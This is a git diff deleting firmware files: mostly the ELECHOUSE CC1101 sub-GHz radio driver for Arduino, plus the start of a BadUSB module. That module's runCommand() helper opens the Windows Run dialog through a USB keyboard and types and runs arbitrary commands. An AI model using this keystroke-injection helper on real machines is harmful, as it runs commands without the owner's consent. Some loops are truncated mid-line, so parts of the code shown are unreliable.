-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1])); -if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);} -else{ -SpiWriteReg(CC1101_TEST0,0x09); -int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); -if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} -if (last_pa != 1){setPA(pa);} -} -} -else if (MHz >= 378 && MHz <= 464){ -SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1])); -if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);} -else{ -SpiWriteReg(CC1101_TEST0,0x09); -int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); -if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} -if (last_pa != 2){setPA(pa);} -} -} -else if (MHz >= 779 && MHz <= 899.99){ -SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1])); -if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);} -else{ -SpiWriteReg(CC1101_TEST0,0x09); -int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); -if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} -if (last_pa != 3){setPA(pa);} -} -} -else if (MHz >= 900 && MHz <= 928){ -SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1])); -SpiWriteReg(CC1101_TEST0,0x09); -int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); -if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} -if (last_pa != 4){setPA(pa);} -} -} -/**************************************************************** -*FUNCTION NAME:Calibration offset -*FUNCTION :Set calibration offset -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){ -if (b == 1){ -clb1[0]=s; -clb1[1]=e; -} -else if (b == 2){ -clb2[0]=s; -clb2[1]=e; -} -else if (b == 3){ -clb3[0]=s; -clb3[1]=e; -} -else if (b == 4){ -clb4[0]=s; -clb4[1]=e; -} -} -/**************************************************************** -*FUNCTION NAME:getCC1101 -*FUNCTION :Test Spi connection and return 1 when true. -*INPUT :none -*OUTPUT :none -****************************************************************/ -bool ELECHOUSE_CC1101::getCC1101(void){ -setSpi(); -if (SpiReadStatus(0x31)>0){ -return 1; -}else{ -return 0; -} -} -/**************************************************************** -*FUNCTION NAME:getMode -*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2. -*INPUT :none -*OUTPUT :none -****************************************************************/ -byte ELECHOUSE_CC1101::getMode(void){ -return trxstate; -} -/**************************************************************** -*FUNCTION NAME:Set Sync_Word -*FUNCTION :Sync Word -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){ -SpiWriteReg(CC1101_SYNC1, sh); -SpiWriteReg(CC1101_SYNC0, sl); -} -/**************************************************************** -*FUNCTION NAME:Set ADDR -*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setAddr(byte v){ -SpiWriteReg(CC1101_ADDR, v); -} -/**************************************************************** -*FUNCTION NAME:Set PQT -*FUNCTION :Preamble quality estimator threshold -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setPQT(byte v){ -Split_PKTCTRL1(); -pc1PQT = 0; -if (v>7){v=7;} -pc1PQT = v*32; -SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); -} -/**************************************************************** -*FUNCTION NAME:Set CRC_AUTOFLUSH -*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setCRC_AF(bool v){ -Split_PKTCTRL1(); -pc1CRC_AF = 0; -if (v==1){pc1CRC_AF=8;} -SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); -} -/**************************************************************** -*FUNCTION NAME:Set APPEND_STATUS -*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setAppendStatus(bool v){ -Split_PKTCTRL1(); -pc1APP_ST = 0; -if (v==1){pc1APP_ST=4;} -SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); -} -/**************************************************************** -*FUNCTION NAME:Set ADR_CHK -*FUNCTION :Controls address check configuration of received packages -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setAdrChk(byte v){ -Split_PKTCTRL1(); -pc1ADRCHK = 0; -if (v>3){v=3;} -pc1ADRCHK = v; -SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); -} -/**************************************************************** -*FUNCTION NAME:Set WHITE_DATA -*FUNCTION :Turn data whitening on / off. -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setWhiteData(bool v){ -Split_PKTCTRL0(); -pc0WDATA = 0; -if (v == 1){pc0WDATA=64;} -SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); -} -/**************************************************************** -*FUNCTION NAME:Set PKT_FORMAT -*FUNCTION :Format of RX and TX data -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setPktFormat(byte v){ -Split_PKTCTRL0(); -pc0PktForm = 0; -if (v>3){v=3;} -pc0PktForm = v*16; -SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); -} -/**************************************************************** -*FUNCTION NAME:Set CRC -*FUNCTION :CRC calculation in TX and CRC check in RX -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setCrc(bool v){ -Split_PKTCTRL0(); -pc0CRC_EN = 0; -if (v==1){pc0CRC_EN=4;} -SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); -} -/**************************************************************** -*FUNCTION NAME:Set LENGTH_CONFIG -*FUNCTION :Configure the packet length -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setLengthConfig(byte v){ -Split_PKTCTRL0(); -pc0LenConf = 0; -if (v>3){v=3;} -pc0LenConf = v; -SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); -} -/**************************************************************** -*FUNCTION NAME:Set PACKET_LENGTH -*FUNCTION :Indicates the packet length -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setPacketLength(byte v){ -SpiWriteReg(CC1101_PKTLEN, v); -} -/**************************************************************** -*FUNCTION NAME:Set DCFILT_OFF -*FUNCTION :Disable digital DC blocking filter before demodulator -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setDcFilterOff(bool v){ -Split_MDMCFG2(); -m2DCOFF = 0; -if (v==1){m2DCOFF=128;} -SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); -} -/**************************************************************** -*FUNCTION NAME:Set MANCHESTER -*FUNCTION :Enables Manchester encoding/decoding -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setManchester(bool v){ -Split_MDMCFG2(); -m2MANCH = 0; -if (v==1){m2MANCH=8;} -SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); -} -/**************************************************************** -*FUNCTION NAME:Set SYNC_MODE -*FUNCTION :Combined sync-word qualifier mode -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setSyncMode(byte v){ -Split_MDMCFG2(); -m2SYNCM = 0; -if (v>7){v=7;} -m2SYNCM=v; -SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); -} -/**************************************************************** -*FUNCTION NAME:Set FEC -*FUNCTION :Enable Forward Error Correction (FEC) -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setFEC(bool v){ -Split_MDMCFG1(); -m1FEC=0; -if (v==1){m1FEC=128;} -SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); -} -/**************************************************************** -*FUNCTION NAME:Set PRE -*FUNCTION :Sets the minimum number of preamble bytes to be transmitted. -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setPRE(byte v){ -Split_MDMCFG1(); -m1PRE=0; -if (v>7){v=7;} -m1PRE = v*16; -SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); -} -/**************************************************************** -*FUNCTION NAME:Set Channel -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setChannel(byte ch){ -chan = ch; -SpiWriteReg(CC1101_CHANNR, chan); -} -/**************************************************************** -*FUNCTION NAME:Set Channel spacing -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setChsp(float f){ -Split_MDMCFG1(); -byte MDMCFG0 = 0; -m1CHSP = 0; -if (f > 405.456543){f = 405.456543;} -if (f < 25.390625){f = 25.390625;} -for (int i = 0; i<5; i++){ -if (f <= 50.682068){ -f -= 25.390625; -f /= 0.0991825; -MDMCFG0 = f; -float s1 = (f - MDMCFG0) *10; -if (s1 >= 5){MDMCFG0++;} -i = 5; -}else{ -m1CHSP++; -f/=2; -} -} -SpiWriteReg(19,m1CHSP+m1FEC+m1PRE); -SpiWriteReg(20,MDMCFG0); -} -/**************************************************************** -*FUNCTION NAME:Set Receive bandwidth -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setRxBW(float f){ -Split_MDMCFG4(); -int s1 = 3; -int s2 = 3; -for (int i = 0; i<3; i++){ -if (f > 101.5625){f/=2; s1--;} -else{i=3;} -} -for (int i = 0; i<3; i++){ -if (f > 58.1){f/=1.25; s2--;} -else{i=3;} -} -s1 *= 64; -s2 *= 16; -m4RxBw = s1 + s2; -SpiWriteReg(16,m4RxBw+m4DaRa); -} -/**************************************************************** -*FUNCTION NAME:Set Data Rate -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setDRate(float d){ -Split_MDMCFG4(); -float c = d; -byte MDMCFG3 = 0; -if (c > 1621.83){c = 1621.83;} -if (c < 0.0247955){c = 0.0247955;} -m4DaRa = 0; -for (int i = 0; i<20; i++){ -if (c <= 0.0494942){ -c = c - 0.0247955; -c = c / 0.00009685; -MDMCFG3 = c; -float s1 = (c - MDMCFG3) *10; -if (s1 >= 5){MDMCFG3++;} -i = 20; -}else{ -m4DaRa++; -c = c/2; -} -} -SpiWriteReg(16, m4RxBw+m4DaRa); -SpiWriteReg(17, MDMCFG3); -} -/**************************************************************** -*FUNCTION NAME:Set Devitation -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setDeviation(float d){ -float f = 1.586914; -float v = 0.19836425; -int c = 0; -if (d > 380.859375){d = 380.859375;} -if (d < 1.586914){d = 1.586914;} -for (int i = 0; i<255; i++){ -f+=v; -if (c==7){v*=2;c=-1;i+=8;} -if (f>=d){c=i;i=255;} -c++; -} -SpiWriteReg(21,c); -} -/**************************************************************** -*FUNCTION NAME:Split PKTCTRL0 -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Split_PKTCTRL1(void){ -int calc = SpiReadStatus(7); -pc1PQT = 0; -pc1CRC_AF = 0; -pc1APP_ST = 0; -pc1ADRCHK = 0; -for (bool i = 0; i==0;){ -if (calc >= 32){calc-=32; pc1PQT+=32;} -else if (calc >= 8){calc-=8; pc1CRC_AF+=8;} -else if (calc >= 4){calc-=4; pc1APP_ST+=4;} -else {pc1ADRCHK = calc; i=1;} -} -} -/**************************************************************** -*FUNCTION NAME:Split PKTCTRL0 -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Split_PKTCTRL0(void){ -int calc = SpiReadStatus(8); -pc0WDATA = 0; -pc0PktForm = 0; -pc0CRC_EN = 0; -pc0LenConf = 0; -for (bool i = 0; i==0;){ -if (calc >= 64){calc-=64; pc0WDATA+=64;} -else if (calc >= 16){calc-=16; pc0PktForm+=16;} -else if (calc >= 4){calc-=4; pc0CRC_EN+=4;} -else {pc0LenConf = calc; i=1;} -} -} -/**************************************************************** -*FUNCTION NAME:Split MDMCFG1 -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Split_MDMCFG1(void){ -int calc = SpiReadStatus(19); -m1FEC = 0; -m1PRE = 0; -m1CHSP = 0; -int s2 = 0; -for (bool i = 0; i==0;){ -if (calc >= 128){calc-=128; m1FEC+=128;} -else if (calc >= 16){calc-=16; m1PRE+=16;} -else {m1CHSP = calc; i=1;} -} -} -/**************************************************************** -*FUNCTION NAME:Split MDMCFG2 -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Split_MDMCFG2(void){ -int calc = SpiReadStatus(18); -m2DCOFF = 0; -m2MODFM = 0; -m2MANCH = 0; -m2SYNCM = 0; -for (bool i = 0; i==0;){ -if (calc >= 128){calc-=128; m2DCOFF+=128;} -else if (calc >= 16){calc-=16; m2MODFM+=16;} -else if (calc >= 8){calc-=8; m2MANCH+=8;} -else{m2SYNCM = calc; i=1;} -} -} -/**************************************************************** -*FUNCTION NAME:Split MDMCFG4 -*FUNCTION :none -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::Split_MDMCFG4(void){ -int calc = SpiReadStatus(16); -m4RxBw = 0; -m4DaRa = 0; -for (bool i = 0; i==0;){ -if (calc >= 64){calc-=64; m4RxBw+=64;} -else if (calc >= 16){calc -= 16; m4RxBw+=16;} -else{m4DaRa = calc; i=1;} -} -} -/**************************************************************** -*FUNCTION NAME:RegConfigSettings -*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100// -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::RegConfigSettings(void) -{ - SpiWriteReg(CC1101_FSCTRL1, 0x06); - - setCCMode(ccmode); - setMHZ(MHz); - - SpiWriteReg(CC1101_MDMCFG1, 0x02); - SpiWriteReg(CC1101_MDMCFG0, 0xF8); - SpiWriteReg(CC1101_CHANNR, chan); - SpiWriteReg(CC1101_DEVIATN, 0x47); - SpiWriteReg(CC1101_FREND1, 0x56); - SpiWriteReg(CC1101_MCSM0 , 0x18); - SpiWriteReg(CC1101_FOCCFG, 0x16); - SpiWriteReg(CC1101_BSCFG, 0x1C); - SpiWriteReg(CC1101_AGCCTRL2, 0xC7); - SpiWriteReg(CC1101_AGCCTRL1, 0x00); - SpiWriteReg(CC1101_AGCCTRL0, 0xB2); - SpiWriteReg(CC1101_FSCAL3, 0xE9); - SpiWriteReg(CC1101_FSCAL2, 0x2A); - SpiWriteReg(CC1101_FSCAL1, 0x00); - SpiWriteReg(CC1101_FSCAL0, 0x1F); - SpiWriteReg(CC1101_FSTEST, 0x59); - SpiWriteReg(CC1101_TEST2, 0x81); - SpiWriteReg(CC1101_TEST1, 0x35); - SpiWriteReg(CC1101_TEST0, 0x09); - SpiWriteReg(CC1101_PKTCTRL1, 0x04); - SpiWriteReg(CC1101_ADDR, 0x00); - SpiWriteReg(CC1101_PKTLEN, 0x00); -} -/**************************************************************** -*FUNCTION NAME:SetTx -*FUNCTION :set CC1101 send data -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SetTx(void) -{ - SpiStrobe(CC1101_SIDLE); - SpiStrobe(CC1101_STX); //start send - trxstate=1; -} -/**************************************************************** -*FUNCTION NAME:SetRx -*FUNCTION :set CC1101 to receive state -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SetRx(void) -{ - SpiStrobe(CC1101_SIDLE); - SpiStrobe(CC1101_SRX); //start receive - trxstate=2; -} -/**************************************************************** -*FUNCTION NAME:SetTx -*FUNCTION :set CC1101 send data and change frequency -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SetTx(float mhz) -{ - SpiStrobe(CC1101_SIDLE); - setMHZ(mhz); - SpiStrobe(CC1101_STX); //start send - trxstate=1; -} -/**************************************************************** -*FUNCTION NAME:SetRx -*FUNCTION :set CC1101 to receive state and change frequency -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SetRx(float mhz) -{ - SpiStrobe(CC1101_SIDLE); - setMHZ(mhz); - SpiStrobe(CC1101_SRX); //start receive - trxstate=2; -} -/**************************************************************** -*FUNCTION NAME:RSSI Level -*FUNCTION :Calculating the RSSI Level -*INPUT :none -*OUTPUT :none -****************************************************************/ -int ELECHOUSE_CC1101::getRssi(void) -{ -int rssi; -rssi=SpiReadStatus(CC1101_RSSI); -if (rssi >= 128){rssi = (rssi-256)/2-74;} -else{rssi = (rssi/2)-74;} -return rssi; -} -/**************************************************************** -*FUNCTION NAME:LQI Level -*FUNCTION :get Lqi state -*INPUT :none -*OUTPUT :none -****************************************************************/ -byte ELECHOUSE_CC1101::getLqi(void) -{ -byte lqi; -lqi=SpiReadStatus(CC1101_LQI); -return lqi; -} -/**************************************************************** -*FUNCTION NAME:SetSres -*FUNCTION :Reset CC1101 -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setSres(void) -{ - SpiStrobe(CC1101_SRES); - trxstate=0; -} -/**************************************************************** -*FUNCTION NAME:setSidle -*FUNCTION :set Rx / TX Off -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::setSidle(void) -{ - SpiStrobe(CC1101_SIDLE); - trxstate=0; -} -/**************************************************************** -*FUNCTION NAME:goSleep -*FUNCTION :set cc1101 Sleep on -*INPUT :none -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::goSleep(void){ - trxstate=0; - SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit - SpiStrobe(0x39);//Enter power down mode when CSn goes high. -} -/**************************************************************** -*FUNCTION NAME:Char direct SendData -*FUNCTION :use CC1101 send data -*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SendData(char *txchar) -{ -int len = strlen(txchar); -byte chartobyte[len]; -for (int i = 0; i sync transmitted - while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet - SpiStrobe(CC1101_SFTX); //flush TXfifo - trxstate=1; -} -/**************************************************************** -*FUNCTION NAME:Char direct SendData -*FUNCTION :use CC1101 send data without GDO -*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 -*OUTPUT :none -****************************************************************/ -void ELECHOUSE_CC1101::SendData(char *txchar,int t) -{ -int len = strlen(txchar); -byte chartobyte[len]; -for (int i = 0; i - Version: November 12, 2010 - - This library is designed to use CC1101/CC1100 module on Arduino platform. - CC1101/CC1100 module is an useful wireless module.Using the functions of the - library, you can easily send and receive data by the CC1101/CC1100 module. - Just have fun! - For the details, please refer to the datasheet of CC1100/CC1101. ----------------------------------------------------------------------------------------------------------------- -cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). ----------------------------------------------------------------------------------------------------------------- -*/ -#ifndef ELECHOUSE_CC1101_SRC_DRV_h -#define ELECHOUSE_CC1101_SRC_DRV_h - -#include - -//***************************************CC1101 define**************************************************// -// CC1101 CONFIG REGSITER -#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration -#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration -#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration -#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds -#define CC1101_SYNC1 0x04 // Sync word, high INT8U -#define CC1101_SYNC0 0x05 // Sync word, low INT8U -#define CC1101_PKTLEN 0x06 // Packet length -#define CC1101_PKTCTRL1 0x07 // Packet automation control -#define CC1101_PKTCTRL0 0x08 // Packet automation control -#define CC1101_ADDR 0x09 // Device address -#define CC1101_CHANNR 0x0A // Channel number -#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control -#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control -#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U -#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U -#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U -#define CC1101_MDMCFG4 0x10 // Modem configuration -#define CC1101_MDMCFG3 0x11 // Modem configuration -#define CC1101_MDMCFG2 0x12 // Modem configuration -#define CC1101_MDMCFG1 0x13 // Modem configuration -#define CC1101_MDMCFG0 0x14 // Modem configuration -#define CC1101_DEVIATN 0x15 // Modem deviation setting -#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration -#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration -#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration -#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration -#define CC1101_BSCFG 0x1A // Bit Synchronization configuration -#define CC1101_AGCCTRL2 0x1B // AGC control -#define CC1101_AGCCTRL1 0x1C // AGC control -#define CC1101_AGCCTRL0 0x1D // AGC control -#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout -#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout -#define CC1101_WORCTRL 0x20 // Wake On Radio control -#define CC1101_FREND1 0x21 // Front end RX configuration -#define CC1101_FREND0 0x22 // Front end TX configuration -#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration -#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration -#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration -#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration -#define CC1101_RCCTRL1 0x27 // RC oscillator configuration -#define CC1101_RCCTRL0 0x28 // RC oscillator configuration -#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control -#define CC1101_PTEST 0x2A // Production test -#define CC1101_AGCTEST 0x2B // AGC test -#define CC1101_TEST2 0x2C // Various test settings -#define CC1101_TEST1 0x2D // Various test settings -#define CC1101_TEST0 0x2E // Various test settings - -//CC1101 Strobe commands -#define CC1101_SRES 0x30 // Reset chip. -#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). - // If in RX/TX: Go to a wait state where only the synthesizer is - // running (for quick RX / TX turnaround). -#define CC1101_SXOFF 0x32 // Turn off crystal oscillator. -#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off - // (enables quick start). -#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and - // MCSM0.FS_AUTOCAL=1. -#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if - // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: - // Only go to TX if channel is clear. -#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit - // Wake-On-Radio mode if applicable. -#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer -#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) -#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. -#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. -#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. -#define CC1101_SWORRST 0x3C // Reset real time clock. -#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two - // INT8Us for simpler software. -//CC1101 STATUS REGSITER -#define CC1101_PARTNUM 0x30 -#define CC1101_VERSION 0x31 -#define CC1101_FREQEST 0x32 -#define CC1101_LQI 0x33 -#define CC1101_RSSI 0x34 -#define CC1101_MARCSTATE 0x35 -#define CC1101_WORTIME1 0x36 -#define CC1101_WORTIME0 0x37 -#define CC1101_PKTSTATUS 0x38 -#define CC1101_VCO_VC_DAC 0x39 -#define CC1101_TXBYTES 0x3A -#define CC1101_RXBYTES 0x3B - -//CC1101 PATABLE,TXFIFO,RXFIFO -#define CC1101_PATABLE 0x3E -#define CC1101_TXFIFO 0x3F -#define CC1101_RXFIFO 0x3F - -//************************************* class **************************************************// -class ELECHOUSE_CC1101 -{ -private: - void SpiStart(void); - void SpiEnd(void); - void GDO_Set (void); - void GDO0_Set (void); - void Reset (void); - void setSpi(void); - void RegConfigSettings(void); - void Calibrate(void); - void Split_PKTCTRL0(void); - void Split_PKTCTRL1(void); - void Split_MDMCFG1(void); - void Split_MDMCFG2(void); - void Split_MDMCFG4(void); -public: - void Init(void); - byte SpiReadStatus(byte addr); - void setSpiPin(byte sck, byte miso, byte mosi, byte ss); - void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); - void setGDO(byte gdo0, byte gdo2); - void setGDO0(byte gdo0); - void addGDO(byte gdo0, byte gdo2, byte modul); - void addGDO0(byte gdo0, byte modul); - void setModul(byte modul); - void setCCMode(bool s); - void setModulation(byte m); - void setPA(int p); - void setMHZ(float mhz); - void setChannel(byte chnl); - void setChsp(float f); - void setRxBW(float f); - void setDRate(float d); - void setDeviation(float d); - void SetTx(void); - void SetRx(void); - void SetTx(float mhz); - void SetRx(float mhz); - int getRssi(void); - byte getLqi(void); - void setSres(void); - void setSidle(void); - void goSleep(void); - void SendData(byte *txBuffer, byte size); - void SendData(char *txchar); - void SendData(byte *txBuffer, byte size, int t); - void SendData(char *txchar, int t); - byte CheckReceiveFlag(void); - byte ReceiveData(byte *rxBuffer); - bool CheckCRC(void); - void SpiStrobe(byte strobe); - void SpiWriteReg(byte addr, byte value); - void SpiWriteBurstReg(byte addr, byte *buffer, byte num); - byte SpiReadReg(byte addr); - void SpiReadBurstReg(byte addr, byte *buffer, byte num); - void setClb(byte b, byte s, byte e); - bool getCC1101(void); - byte getMode(void); - void setSyncWord(byte sh, byte sl); - void setAddr(byte v); - void setWhiteData(bool v); - void setPktFormat(byte v); - void setCrc(bool v); - void setLengthConfig(byte v); - void setPacketLength(byte v); - void setDcFilterOff(bool v); - void setManchester(bool v); - void setSyncMode(byte v); - void setFEC(bool v); - void setPRE(byte v); - void setPQT(byte v); - void setCRC_AF(bool v); - void setAppendStatus(bool v); - void setAdrChk(byte v); - bool CheckRxFifo(int t); -}; - -extern ELECHOUSE_CC1101 ELECHOUSE_cc1101; - -#endif \ No newline at end of file diff --git a/firmware/badusb.cpp b/firmware/badusb.cpp deleted file mode 100644 index ef9da24..0000000 --- a/firmware/badusb.cpp +++ /dev/null @@ -1,398 +0,0 @@ -#include -#include -#include "display.h" - -extern USBHIDKeyboard Keyboard; - -void runCommand(const char *command) { - Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('r'); - delay(100); - Keyboard.releaseAll(); - delay(300); - Keyboard.print(command); - Keyboard.write(KEY_RETURN); -} - -void showRunningScreen(String taskName, uint8_t duration = 5) { - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x12_tf); - u8g2.drawStr(0, 15, "Running:"); - u8g2.drawStr(0, 30, taskName.c_str()); - u8g2.drawFrame(0, 45, 128, 10); - - static const unsigned char image_download_bits[] U8X8_PROGMEM = { - 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, - 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, - 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, - 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, - 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, - 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, - 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; - static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { - 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, - 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, - 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, - 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, - 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 